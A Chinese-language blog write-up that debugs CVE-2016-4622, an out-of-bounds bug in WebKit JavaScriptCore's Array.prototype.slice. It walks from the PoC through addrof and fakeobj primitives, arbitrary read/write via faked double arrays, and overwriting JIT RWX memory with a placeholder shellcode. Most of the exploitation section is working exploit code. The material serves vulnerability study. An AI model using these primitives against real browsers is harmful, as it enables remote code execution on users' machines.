WebKit JSC CVE-2016-4622调试分析

  1. 0x01 调试环境
  2. 0x02 漏洞分析
    1. 1. slice函数
    2. 2. valueOf属性
    3. 3. OOB产生的原因
  3. 0x03 漏洞利用
    1. 1. addrof原语
      1. 1.1 .length setter
      2. 1.2 构造addrof
      3. 1.3 ArrayWithDouble
    2. 2. fakeobj原语
    3. 3. read/write原语
    4. 4. 执行shellcode
  4. 0x04 参考资料

author: Dlive

这篇文参考了saelo的文章,通过调试分析CVE-2016-4622学习了一下浏览器漏洞的基本利用流程

0x01 调试环境

因为漏洞是2016年的了,漏洞分支的代码版本比较老,没能编译成功,所以用了一个比较新的分支,打上了存在漏洞的patch

在漏洞利用阶段发现,在新版本webkit上打上漏洞patch导致直接给自己构造漏洞利用时挖了一个坑(当然也给了自己一个学习机会

1
2
3
4
5
6
7
8
git clone https://git.webkit.org/git/WebKit.git WebKit.git

git checkout 3af5ce129e6636350a887d01237a65c2fce77823

# 按https://github.com/m1ghtym0/write-ups/tree/master/browser/CVE-2016-4622 手动打上patch
# patch文件:https://github.com/m1ghtym0/write-ups/blob/master/browser/CVE-2016-4622/vuln.patch

Tools/Scripts/build-webkit --jsc-only --debug

验证存在漏洞

  • poc.js
    1
    ./WebKitBuild/Debug/bin/jsc ~/browser-pwn/CVE-2016-4622/poc.js

0x02 漏洞分析

漏洞poc如下,先根据poc分析一下漏洞成因

1
2
3
4
5
6
var a = [];
for (var i = 0; i < 100; i++) a.push(i + 0.123);
print(describe(a));
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(describe(b));
print(b);

jsc中的describe函数可用来打印变量的一些描述信息,可以帮助漏洞的调试分析

1. slice函数

从poc可以明显看出漏洞与slice函数的实现有关,那就先来调试一下slice的实现

js slice函数对应的实现为arrayProtoFuncSlice

调试用代码:

1
2
3
var a = [1, 2, 3, 4];
describe(a);
var s = a.slice(1, 3);

调试之后可以理清楚该函数的逻辑,代码注释如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)

{

// https://tc39.github.io/ecma262/#sec-array.prototype.slice
VM& vm = exec->vm();
auto scope = DECLARE_THROW_SCOPE(vm);
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec); // 获取函数调用相关对象,thisObject中存的是Array a [1,2,3,4]
EXCEPTION_ASSERT(!!scope.exception() == !thisObj);

if (UNLIKELY(!thisObj))
return { };

unsigned length = toLength(exec, thisObj); // 获取数组长度
RETURN_IF_EXCEPTION(scope, { });

unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length); // 获取begin参数,0表示slice第一个参数
RETURN_IF_EXCEPTION(scope, { });

unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length); // 获取end参数,1表示slice第二个参数,该函数第4个参数表示一个默认值,如果slice参数为undefined,则返回该默认值
RETURN_IF_EXCEPTION(scope, { });

if (end < begin)
end = begin;

std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end - begin);

// We can only get an exception if we call some user function.
EXCEPTION_ASSERT(!!scope.exception() == (speciesResult.first == SpeciesConstructResult::Exception));

if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
return { };

bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj);
//bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) && length == toLength(exec, thisObj);
RETURN_IF_EXCEPTION(scope, { });

if (LIKELY(okToDoFastPath)) {
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin)) // 如果数组是原生密集存储的数组,使用快速分片, 即直接memcpy拷贝
return JSValue::encode(result);
}

JSObject* result;

if (speciesResult.first == SpeciesConstructResult::CreatedObject)
result = speciesResult.second;
else {
result = constructEmptyArray(exec, nullptr, end - begin); // 创建一个新的数组
RETURN_IF_EXCEPTION(scope, { });
}

unsigned n = 0;
for (unsigned k = begin; k < end; k++, n++) { // 如果不符合使用快速分片的条件,就使用一个简单的循环来获取元素, 把它加到新的数组里
JSValue v = getProperty(exec, thisObj, k);
RETURN_IF_EXCEPTION(scope, { });
if (v) {
result->putDirectIndex(exec, n, v, 0, PutDirectIndexShouldThrow);
RETURN_IF_EXCEPTION(scope, { });
}
}

scope.release();
setLength(exec, vm, result, n);
return JSValue::encode(result);
}

slice函数主要有两种逻辑

  1. 针对密集存储(dense storage)的数组,比如这个例子里的[1,2,3,4],使用fastSlice进行快速切片,快速切片时直接进行的是memcpy操作,可以跟进其实现调试一下
  2. 针对稀疏存储(sparse mode)的数组的切片操作,则会通过一个循环来获取元素, 把它加到新的数组里

如果想调试稀疏数组的切片操作,可以调试如下代码

1
2
3
4
5
var b = [];
b[0] = 42;
b[10000] = 42;
describe(b); // ArrayWithArrayStorage,不能进行fastSlice操作
var s2 = b.slice(1, 3);

是否可以进行快速分片的判断在fastSlice函数的实现中,b数组是ArrayWithArrayStorage,所以无法完成快速分片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
VM& vm = exec.vm();

ensureWritable(vm);

auto arrayType = indexingMode();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
// 进行快速分片, 省略代码
return resultArray;
}
default:
return nullptr;
}
}

2. valueOf属性

valueOf属性是poc中另外一个重点

JavaScript是弱类型语言,它会把某些类型的变量转换为当前所需类型,如下代码中,JavaScript会将对象{}转换为数字

1
Math.abs({});

这个转换通过toNumber实现,ECMA中也有对类型转换的规定 http://www.ecma-international.org/ecma-262/6.0/#sec-type-conversion

1
2
3
4
EncodedJSValue JSC_HOST_CALL mathProtoFuncAbs(ExecState* exec)
{
return JSValue::encode(jsNumber(fabs(exec->argument(0).toNumber(exec))));
}

如果对象存在一个valueOf属性,属性的值是一个方法,那该方法就会在类型转换时被调用,方法的返回值会被JS类型转换使用

所以如下所示代码会返回42

1
Math.abs({valueOf: function() { return -42; }});

3. OOB产生的原因

在了解了slice的实现和valueOf属性之后,再来看该漏洞的poc

1
2
3
4
5
var a = [];
for (var i = 0; i < 100; i++) a.push(i + 0.123);
describe(a);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
describe(b);

直观来看漏洞产生的原因是slice在进行fastSlice切片操作时,切片的范围是0-10,但是我们在valueOf中将Array的长度改为了0
这就导致了OOB的产生

argumentClampedIndexFromStartOrEnd方法会调用toInteger函数(toInteger是通过toNumber实现的)将参数转换为double类型,如果传入的参数是一个对象,并且对象中有valueOf属性

那valueOf对应的方法就会被调用,可以看到获取的indexDouble为10,即valueOf的返回值

此时a.length已经被设置为0,从lldb中可以看到a的长度被改为了0
(a中elements的长度被存放在butterfly指针指向内存的前四个字节,butterfly的结构在saelo的文章中描述的已经很详细了,不再赘述)

下图是valueOf调用之前的a的内存,长度为0x64,即100

argumentClampedIndexFromStartOrEnd之后的代码使用的length仍然是之前获取到的100,而不是更新之后的0,导致获取到切片的end为10
最后fastSlice的时候切片的长度也为10,但是数组长度已经被修改为0,进而导致了OOB

OOB的产生原因已经搞清楚了,下一步是怎么利用这个OOB构造一个完整的exp

0x03 漏洞利用

1. addrof原语

之前我们搞清楚了到底是哪里导致了OOB,那下面我们需要分析一下我们OOB读到的数据是什么,我们怎么编写exp才能达到addrof的效果

首先给出addrof的代码,方便下面分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

function addrof(obj)
{
var a = new Array(100)
for(var i=0; i<a.length; i++)
{
a[i] = 1.337; // Array的类型需要是ArrayWithDoubles
}
print("[+]new Array a: " + describe(a))
var b = {"valueOf": function () {
a.length = 1;
print("[+]a.length = 1")
print("[+]a describe: " + describe(a))
var c = [obj];
print("[+]c describe: " + describe(c))
return 4;
}}
var address = f64_to_uint(a.slice(b, 5)[0])
return address
}

var obj = {}
print("[+]obj describe: " + describe(obj))
print("[+]leak obj address: 0x" + addrof(obj).toString(16))

1.1 .length setter

我们在poc中进行了如下操作修改了a数组的长度

1
a.length = 0

这个操作的实现代码在JSArray::setLength

当数组长度大于64的时候,JSArray::setLength会调用reallocateAndShrinkButterfly为数组重新分配一块内存保存数组大小缩减之后的数据

所以我们需要一个lengthToClear大于64的数组(在上述addrof中,数组长度至少需要为66,这样才能使lengthToClear大于64),这样在数组长度被缩小的时候,被缩小后的数组butterfly被分配到一个新的区域

而bufferfly的内存分配非常简单,allocator会直接从当前剩余可用内存块中按需切割下所申请的内存

如果连续创建数组,它们的butterfly在内存中也一定是连续分布的

执行addrof的代码也可以发现,setLength之后缩小之后的a数组的butterfly被分配到了一个新的内存区域

并且a数组和c数组在内存中是相邻的(即butterfly内存是连续分布的)

1.2 构造addrof

我们可以看一下addrof.js中a的butterfly内存和c的butterfly内存, 如下图所示

而c数组的第一个元素存储的是我们要泄露的对象的指针,如上图中画横向的部分所示

所以我们只需要取a.slice(4,5)这块内存就是我们要泄露的obj的内存地址

1.3 ArrayWithDouble

虽然我们上面已经讲完了怎么构造addrof,但是还有个关键问题没有说,就是为什么a数组需要是ArrayWithDouble类型?

当我们通过索引访问数组元素时会调用JSObject::getOwnPropertySlotByIndex方法,该方法会对内存中的数据进行编码

因为我们泄露的地址0x0000000108bb0080按正常JSValue NaN-boxing格式是对应的一个指针,如果使用ArrayWithInt32或者ArrayWithContiguous数组,则取出要泄露的数据时取出的是一个JSObject指针

如果数组类型为ArrayWithDouble,数组中的值会以原始浮点类型存储,读取的值会也被当做double类型的变量处理,攻击者可以获取到真正的浮点数据。

2. fakeobj原语

明白了addrof怎么构造之后,fakeobj就很简单了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function fakeobj(addr)
{
var a = new Array(100)
for(var i=0; i<a.length; i++)
{
a[i] = 0x13371337 // 这里就不能是ArrayWithDoubles了
// ArrayWithInt32和ArrayWithContiguous都可以
// 原因参考JSObject::getOwnPropertySlotByIndex的实现
}
print("[+]a describe: " + describe(a))
var b = {"valueOf": function () {
var fake = uint_to_f64(addr)
a.length = 1
print("[+]a.length = 1")
print("[+]a describe: " + describe(a))
var c = [fake]
print("[+]c describe: " + describe(c))
return 4
}}
var obj = a.slice(b, 5)[0] // 取出对象(地址为fake)
return obj
}

addrof和fakeobj是一个对应的过程,两个原语依赖于我们可以将native double存储到ArrayWithDouble中,

然后JS引擎会将其当做JSValue(ArrayWithContiguous/ArrayWithInt32), 反之亦可。

所以addrof和fakeobj其实是一个类型混淆的过程

总结一下两个原语:

  1. addrof允许我们将一个JSObject pointer写入数组,然后以double的形式读取出pointer的值
  2. fakeobj允许我们将一个native double写入数组,然后fakeobj会为我们生成一个JSObject pointer

3. read/write原语

在构造好addrof和fakeobj原语之后,下一步要做的就是构造全局内存读写

论如何给自己挖(学习)坑(机会)

在saelo文章中构造全局读写的方法是伪造一个Float64Array(TypedArray),并将其m_vector指针指向目标内存进而构造全局读写,但是我按这样的方法复现全局读写时发现并不能将Float64Array的m_vector修改为目标地址!??? 然后卡了一下午

一开始还以为自己哪里构造得有问题,确认了之前的各种步骤都正常完成,没有出现错误,但是在构造全局读写的时候就是不行,于是开始怀疑人生

后来发现有人在twitter上曾经针对另外一个漏洞提问了同样的问题,然后才意识到是webkit加入的漏洞缓解措施导致的全局读写构造不成功

因为我调试的exp是2016年的exp,当时webkit还没有加入该缓解措施,但是我调试漏洞的时候是用19年的代码打上了漏洞patch(因为旧代码编译问题太多),属于自己给自己挖了个坑

在2018年pwn2own之后webkit加入一系列漏洞缓解措施,包括Gigacage,Gigacage是一个单独的堆,用于分配放在特定类中的对象,位于Gigacage的指针,如m_vector不能被外部指针所替换。

在研究了推出Gigacage机制之后的一些漏洞利用脚本之后,学习到了新的漏洞利用方法

新的构造全局读写的方法是伪造一个ArrayWithDoubles(之后叫做container),使其butterfly指向了另一个ArrayWithDoubles(之后叫做victim),因为butterfly没有被Gigacage保护,所以可以用于构造全局读写

然后就可以通过操作container修改victim的butterfly指针,将butterfly指针指向我们想要读写的地址,即可读取目标地址的值

但是这样有一个问题,就是butterfly指针之前有一个length字段,如果该字段的值不合法的话,我们还是没办法通过读写victim elements的值构造全局读写

但是我们可以通过属性(property)而不是元素(elements)构造全局读写,如下图所示
因为victim的structureID是一个合法的ID,并且victim数组存在一个prop的属性,所以我们可以通过prop属性去访问addr中内容

于是按下面构造读写原语

1
2
3
4
5
6
7
8
9
10
11
12
13
primitives.read64 = function(addr) {
// victim's butterfly = addr + 0x10
fake_obj[1] = Add(addr, 0x10).asDouble();
print("[*] Read64 from " + addr);
return this.addrof(victim.prop);

}

primitives.write64 = function(addr, data) {
print("[*] Write64 to " + addr)
fake_obj[1] = Add(addr, 0x10).asDouble();
victim.prop = this.fakeobj(data);
}

这个全局读写的构造方式其实是参考了如下代码,下面代码中有详细注释,可以帮助学习

  1. https://github.com/W00dL3cs/exploit_playground/blob/master/JavaScriptCore/instanceof_exploit.js
  2. https://gist.github.com/stek29/3d3bfc3538b68697da948d41c23da40f

4. 执行shellcode

在构造出全局读写之后,执行shellcode较为简单,因为JIT生成的代码会被放入rwx内存,我们只需修改掉此处的rwx内存数据,然后执行即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 通过多次循环强制JIT
var func = makeJITCompiledFunction();
var funcAddr = primitives.addrof(func);
print("[+] Shellcode function object @ " + funcAddr);
// p *(JSC::JSFunction *)0x000000010926b0f0

var executableAddr = primitives.read64(Add(funcAddr, 24));
print("[+] Executable instance @ " + executableAddr);
// p *(JSC::ExecutableBase *)0x00000001092ff7b0

var jitCodeObjAddr = primitives.read64(Add(executableAddr, 24));
print("[+] JITCode instance @ " + jitCodeObjAddr);

var codeAddr = primitives.read64(Add(jitCodeObjAddr, 32));
print("[+] RWX memory @ " + codeAddr);

var shellcode = new Int64(0xcccccccccccccccc);

primitives.write64(codeAddr, shellcode)
// 执行JIT代码,因为JIT生成的代码被替换成了shellcode,所以此时shellcode会被执行
func();

效果如下

0x04 参考资料

  1. Attacking JavaScript Engines
    http://www.phrack.org/papers/attacking_javascript_engines.html
  2. jscpwn
    https://www.yilan.io/article/584ba5f196e741ea394cbdc9
  3. 35C3CTF WEBKID WRITEUP HEURISTIC TRANSITION
    http://dwfault-blog.imwork.net:30916/2019/01/09/35c3CTF%20WebKid%20writeup%20heuristic%20transition/
  4. exploit_playground
    https://github.com/W00dL3cs/exploit_playground
  5. A Methodical Approach to Browser Exploitation
    https://blog.ret2.io/2018/06/05/pwn2own-2018-exploit-development/